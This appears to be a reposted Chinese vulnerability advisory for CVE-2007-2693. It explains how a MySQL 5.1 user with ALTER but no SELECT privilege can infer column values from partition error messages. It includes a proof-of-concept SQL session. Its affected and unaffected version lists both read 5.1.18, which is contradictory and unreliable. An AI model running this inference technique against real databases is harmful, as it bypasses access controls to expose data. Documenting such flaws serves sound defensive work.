Rumah > pangkalan data > tutorial mysql > 导致MySQL Alter Table函数信息泄露的原因

导致MySQL Alter Table函数信息泄露的原因

WBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWB
Lepaskan: 2016-06-07 16:13:28
asal
1335 orang telah melayarinya

以下的文章主要讲述的那些情况导致MySQL Alter Table函数的相关信息出现泄露漏洞,如果你在使用MySQL Alter Table中出现相关的情况的话,你就可以通过以下的文章对其有个研究吧! 受影响系统: MySQLABMySQL5.1.x 5.1.18 不受影响系统: MySQLABMySQL5.1.18

以下的文章主要讲述的那些情况导致MySQL Alter Table函数的相关信息出现泄露漏洞,如果你在使用MySQL Alter Table中出现相关的情况的话,你就可以通过以下的文章对其有个研究吧!

受影响系统:

<ol class="dp-xml"><li class="alt"><span><span>MySQL AB MySQL 5.1.x </span><span class="tag"><span> </span><span class="tag-name">5.1.18</span><span>  </span></span></span></li></ol>
Salin selepas log masuk

不受影响系统:

<ol class="dp-xml"><li class="alt"><span><span>MySQL AB MySQL 5.1.18  </span></span></li></ol>
Salin selepas log masuk

描述:BUGTRAQ ID: 24008

CVE(CAN) ID: CVE-2007-2693

MySQL是一款使用非常广泛的开放源代码关系数据库系统,拥有各种平台的运行版本。

MySQL Alter Table功能实现上存在漏洞,能够以合法帐号登录到数据库系统的攻击者可能利用此漏洞非授权获取数据表相关的敏感信息。

如果用户对表格拥有ALTER权限的话,则即使没有SELECT权限也可以通过ALTER TABLE语句获得某些有关表格的敏感信息。例如,用户可以发布以下命令:

<ol class="dp-xml"><li class="alt"><span><span>ALTER TABLE table1 PARTITION BY LIST (column1) (PARTITION x VALUES IN (0));  </span></span></li></ol>
Salin selepas log masuk

MySQL会返回错误消息:

<ol class="dp-xml"><li class="alt"><span><span>"Table has no partition for value 18".  </span></span></li></ol>
Salin selepas log masuk

这样该用户就可以知道存在column1 = 18的列。

测试方法:

以root用户发布:

<ol class="dp-xml">
<li class="alt"><span><span>mysql</span><span class="tag">></span><span> create table tu (s1 int);   </span></span></li>
<li><span>Query OK, 0 rows affected (0.00 sec)   </span></li>
<li class="alt">
<span>mysql</span><span class="tag">></span><span> insert into tu values (1);   </span>
</li>
<li><span>Query OK, 1 row affected (0.00 sec)   </span></li>
<li class="alt">
<span>mysql</span><span class="tag">></span><span> grant alter on tu to molly@localhost;   </span>
</li>
<li><span>Query OK, 0 rows affected (0.01 sec)   </span></li>
<li class="alt"><span> </span></li>
</ol>
Salin selepas log masuk

以molly@localhost发布:

<ol class="dp-xml">
<li class="alt"><span><span>mysql</span><span class="tag">></span><span> select * from tu;   </span></span></li>
<li><span>ERROR 1142 (42000): SELECT command denied to user 'molly'@'localhost' for table   </span></li>
<li class="alt"><span>'tu'   </span></li>
<li>
<span>mysql</span><span class="tag">></span><span> alter table tu partition by list (s1) (partition p1 values in (1));   </span>
</li>
<li class="alt"><span>Query OK, 1 row affected (0.05 sec)   </span></li>
<li><span>Records: 1 Duplicates: 0 Warnings: 0   </span></li>
<li class="alt">
<span>mysql</span><span class="tag">></span><span> alter table tu partition by list (s1) (partition p1 values in (2));   </span>
</li>
<li><span>ERROR 1513 (HY000): Table has no partition for value 1  </span></li>
</ol>
Salin selepas log masuk

以上的相关内容就是对MySQL Alter Table函数信息泄露漏洞的介绍,望你能有所收获。


Kenyataan Laman Web ini
Kandungan artikel ini disumbangkan secara sukarela oleh netizen, dan hak cipta adalah milik pengarang asal. Laman web ini tidak memikul tanggungjawab undang-undang yang sepadan. Jika anda menemui sebarang kandungan yang disyaki plagiarisme atau pelanggaran, sila hubungi admin@php.cn
Tutorial Popular
Lagi>
Muat turun terkini
Lagi>
kesan web
Kod sumber laman web
Bahan laman web
Templat hujung hadapan